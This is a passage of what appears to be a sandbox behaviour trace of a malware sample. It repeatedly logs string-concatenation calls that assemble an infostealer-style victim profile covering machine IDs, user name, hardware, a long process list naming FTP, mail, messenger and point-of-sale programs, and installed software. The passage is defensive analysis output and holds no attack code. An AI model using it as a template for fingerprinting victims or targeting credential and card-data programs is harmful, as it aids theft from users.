[4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 ["
[0054.983] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 [", lpString2="12.0.21005" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual 